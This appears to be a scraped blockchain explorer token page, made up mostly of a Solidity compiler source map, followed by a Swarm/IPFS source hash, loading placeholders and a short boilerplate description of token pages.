4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:118::-;4510:24;4528:5;4510:24;:::i;:::-;4505:3;4498:37;4423:118;;:::o;4547:222::-;4640:4;4678:2;4667:9;4663:18;4655:26;;4691:71;4759:1;4748:9;4744:17;4735:6;4691:71;:::i;:::-;4547:222;;;;:::o;4775:329::-;4834:6;4883:2;4871:9;4862:7;4858:23;4854:32;4851:119;;;4889:79;;:::i;:::-;4851:119;5009:1;5034:53;5079:7;5070:6;5059:9;5055:22;5034:53;:::i;:::-;5024:63;;4980:117;4775:329;;;;:::o;5110:474::-;5178:6;5186;5235:2;5223:9;5214:7;5210:23;5206:32;5203:119;;;5241:79;;:::i;:::-;5203:119;5361:1;5386:53;5431:7;5422:6;5411:9;5407:22;5386:53;:::i;:::-;5376:63;;5332:117;5488:2;5514:53;5559:7;5550:6;5539:9;5535:22;5514:53;:::i;:::-;5504:63;;5459:118;5110:474;;;;;:::o;5590:::-;5658:6;5666;5715:2;5703:9;5694:7;5690:23;5686:32;5683:119;;;5721:79;;:::i;:::-;5683:119;5841:1;5866:53;5911:7;5902:6;5891:9;5887:22;5866:53;:::i;:::-;5856:63;;5812:117;5968:2;5994:53;6039:7;6030:6;6019:9;6015:22;5994:53;:::i;:::-;5984:63;;5939:118;5590:474;;;;;:::o;6070:117::-;6179:1;6176;6169:12;6193:117;6302:1;6299;6292:12;6316:117;6425:1;6422;6415:12;6456:568;6529:8;6539:6;6589:3;6582:4;6574:6;6570:17;6566:27;6556:122;;6597:79;;:::i;:::-;6556:122;6710:6;6697:20;6687:30;;6740:18;6732:6;6729:30;6726:117;;;6762:79;;:::i;:::-;6726:117;6876:4;6868:6;6864:17;6852:29;;6930:3;6922:4;6914:6;6910:17;6900:8;6896:32;6893:41;6890:128;;;6937:79;;:::i;:::-;6890:128;6456:568;;;;;:::o;7030:559::-;7116:6;7124;7173:2;7161:9;7152:7;7148:23;7144:32;7141:119;;;7179:79;;:::i;:::-;7141:119;7327:1;7316:9;7312:17;7299:31;7357:18;7349:6;7346:30;7343:117;;;7379:79;;:::i;:::-;7343:117;7492:80;7564:7;7555:6;7544:9;7540:22;7492:80;:::i;:::-;7474:98;;;;7270:312;7030:559;;;;;:::o;7595:180::-;7643:77;7640:1;7633:88;7740:4;7737:1;7730:15;7764:4;7761:1;7754:15;7781:320;7825:6;7862:1;7856:4;7852:12;7842:22;;7909:1;7903:4;7899:12;7930:18;7920:81;;7986:4;7978:6;7974:17;7964:27;;7920:81;8048:2;8040:6;8037:14;8017:18;8014:38;8011:84;;8067:18;;:::i;:::-;8011:84;7832:269;7781:320;;;:::o;8107:180::-;8155:77;8152:1;8145:88;8252:4;8249:1;8242:15;8276:4;8273:1;8266:15;8293:191;8333:3;8352:20;8370:1;8352:20;:::i;:::-;8347:25;;8386:20;8404:1;8386:20;:::i;:::-;8381:25;;8429:1;8426;8422:9;8415:16;;8450:3;8447:1;8444:10;8441:36;;;8457:18;;:::i;:::-;8441:36;8293:191;;;;:::o;8490:182::-;8630:34;8626:1;8618:6;8614:14;8607:58;8490:182;:::o;8678:366::-;8820:3;8841:67;8905:2;8900:3;8841:67;:::i;:::-;8834:74;;8917:93;9006:3;8917:93;:::i;:::-;9035:2;9030:3;9026:12;9019:19;;8678:366;;;:::o;9050:419::-;9216:4;9254:2;9243:9;9239:18;9231:26;;9303:9;9297:4;9293:20;9289:1;9278:9;9274:17;9267:47;9331:131;9457:4;9331:131;:::i;:::-;9323:139;;9050:419;;;:::o;9475:180::-;9523:77;9520:1;9513:88;9620:4;9617:1;9610:15;9644:4;9641:1;9634:15;9661:180;9709:77;9706:1;9699:88;9806:4;9803:1;9796:15;9830:4;9827:1;9820:15;9847:143;9904:5;9935:6;9929:13;9920:22;;9951:33;9978:5;9951:33;:::i;:::-;9847:143;;;;:::o;9996:351::-;10066:6;10115:2;10103:9;10094:7;10090:23;10086:32;10083:119;;;10121:79;;:::i;:::-;10083:119;10241:1;10266:64;10322:7;10313:6;10302:9;10298:22;10266:64;:::i;:::-;10256:74;;10212:128;9996:351;;;;:::o;10353:85::-;10398:7;10427:5;10416:16;;10353:85;;;:::o;10444:60::-;10472:3;10493:5;10486:12;;10444:60;;;:::o;10510:158::-;10568:9;10601:61;10619:42;10628:32;10654:5;10628:32;:::i;:::-;10619:42;:::i;:::-;10601:61;:::i;:::-;10588:74;;10510:158;;;:::o;10674:147::-;10769:45;10808:5;10769:45;:::i;:::-;10764:3;10757:58;10674:147;;:::o;10827:114::-;10894:6;10928:5;10922:12;10912:22;;10827:114;;;:::o;10947:184::-;11046:11;11080:6;11075:3;11068:19;11120:4;11115:3;11111:14;11096:29;;10947:184;;;;:::o;11137:132::-;11204:4;11227:3;11219:11;;11257:4;11252:3;11248:14;11240:22;;11137:132;;;:::o;11275:108::-;11352:24;11370:5;11352:24;:::i;:::-;11347:3;11340:37;11275:108;;:::o;11389:179::-;11458:10;11479:46;11521:3;11513:6;11479:46;:::i;:::-;11557:4;11552:3;11548:14;11534:28;;11389:179;;;;:::o;11574:113::-;11644:4;11676;11671:3;11667:14;11659:22;;11574:113;;;:::o;11723:732::-;11842:3;11871:54;11919:5;11871:54;:::i;:::-;11941:86;12020:6;12015:3;11941:86;:::i;:::-;11934:93;;12051:56;12101:5;12051:56;:::i;:::-;12130:7;12161:1;12146:284;12171:6;12168:1;12165:13;12146:284;;;12247:6;12241:13;12274:63;12333:3;12318:13;12274:63;:::i;:::-;12267:70;;12360:60;12413:6;12360:60;:::i;:::-;12350:70;;12206:224;12193:1;12190;12186:9;12181:14;;12146:284;;;12150:14;12446:3;12439:10;;11847:608;;;11723:732;;;;:::o;12461:831::-;12724:4;12762:3;12751:9;12747:19;12739:27;;12776:71;12844:1;12833:9;12829:17;12820:6;12776:71;:::i;:::-;12857:80;12933:2;12922:9;12918:18;12909:6;12857:80;:::i;:::-;12984:9;12978:4;12974:20;12969:2;12958:9;12954:18;12947:48;13012:108;13115:4;13106:6;13012:108;:::i;:::-;13004:116;;13130:72;13198:2;13187:9;13183:18;13174:6;13130:72;:::i;:::-;13212:73;13280:3;13269:9;13265:19;13256:6;13212:73;:::i;:::-;12461:831;;;;;;;;:::o;13298:194::-;13338:4;13358:20;13376:1;13358:20;:::i;:::-;13353:25;;13392:20;13410:1;13392:20;:::i;:::-;13387:25;;13436:1;13433;13429:9;13421:17;;13460:1;13454:4;13451:11;13448:37;;;13465:18;;:::i;:::-;13448:37;13298:194;;;;:::o;13498:233::-;13537:3;13560:24;13578:5;13560:24;:::i;:::-;13551:33;;13606:66;13599:5;13596:77;13593:103;;13676:18;;:::i;:::-;13593:103;13723:1;13716:5;13712:13;13705:20;;13498:233;;;:::o;13737:224::-;13877:34;13873:1;13865:6;13861:14;13854:58;13946:7;13941:2;13933:6;13929:15;13922:32;13737:224;:::o;13967:366::-;14109:3;14130:67;14194:2;14189:3;14130:67;:::i;:::-;14123:74;;14206:93;14295:3;14206:93;:::i;:::-;14324:2;14319:3;14315:12;14308:19;;13967:366;;;:::o;14339:419::-;14505:4;14543:2;14532:9;14528:18;14520:26;;14592:9;14586:4;14582:20;14578:1;14567:9;14563:17;14556:47;14620:131;14746:4;14620:131;:::i;:::-;14612:139;;14339:419;;;:::o;14764:222::-;14904:34;14900:1;14892:6;14888:14;14881:58;14973:5;14968:2;14960:6;14956:15;14949:30;14764:222;:::o;14992:366::-;15134:3;15155:67;15219:2;15214:3;15155:67;:::i;:::-;15148:74;;15231:93;15320:3;15231:93;:::i;:::-;15349:2;15344:3;15340:12;15333:19;;14992:366;;;:::o;15364:419::-;15530:4;15568:2;15557:9;15553:18;15545:26;;15617:9;15611:4;15607:20;15603:1;15592:9;15588:17;15581:47;15645:131;15771:4;15645:131;:::i;:::-;15637:139;;15364:419;;;:::o;15789:410::-;15829:7;15852:20;15870:1;15852:20;:::i;:::-;15847:25;;15886:20;15904:1;15886:20;:::i;:::-;15881:25;;15941:1;15938;15934:9;15963:30;15981:11;15963:30;:::i;:::-;15952:41;;16142:1;16133:7;16129:15;16126:1;16123:22;16103:1;16096:9;16076:83;16053:139;;16172:18;;:::i;:::-;16053:139;15837:362;15789:410;;;;:::o;16205:180::-;16253:77;16250:1;16243:88;16350:4;16347:1;16340:15;16374:4;16371:1;16364:15;16391:185;16431:1;16448:20;16466:1;16448:20;:::i;:::-;16443:25;;16482:20;16500:1;16482:20;:::i;:::-;16477:25;;16521:1;16511:35;;16526:18;;:::i;:::-;16511:35;16568:1;16565;16561:9;16556:14;;16391:185;;;;:::o;16582:221::-;16722:34;16718:1;16710:6;16706:14;16699:58;16791:4;16786:2;16778:6;16774:15;16767:29;16582:221;:::o;16809:366::-;16951:3;16972:67;17036:2;17031:3;16972:67;:::i;:::-;16965:74;;17048:93;17137:3;17048:93;:::i;:::-;17166:2;17161:3;17157:12;17150:19;;16809:366;;;:::o;17181:419::-;17347:4;17385:2;17374:9;17370:18;17362:26;;17434:9;17428:4;17424:20;17420:1;17409:9;17405:17;17398:47;17462:131;17588:4;17462:131;:::i;:::-;17454:139;;17181:419;;;:::o;17606:177::-;17746:29;17742:1;17734:6;17730:14;17723:53;17606:177;:::o;17789:366::-;17931:3;17952:67;18016:2;18011:3;17952:67;:::i;:::-;17945:74;;18028:93;18117:3;18028:93;:::i;:::-;18146:2;18141:3;18137:12;18130:19;;17789:366;;;:::o;18161:419::-;18327:4;18365:2;18354:9;18350:18;18342:26;;18414:9;18408:4;18404:20;18400:1;18389:9;18385:17;18378:47;18442:131;18568:4;18442:131;:::i;:::-;18434:139;;18161:419;;;:::o
Swarm Source
ipfs://ad768f06848019fddca6388ff2bc70962fe65cd61329929db76a835b9d061e4a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.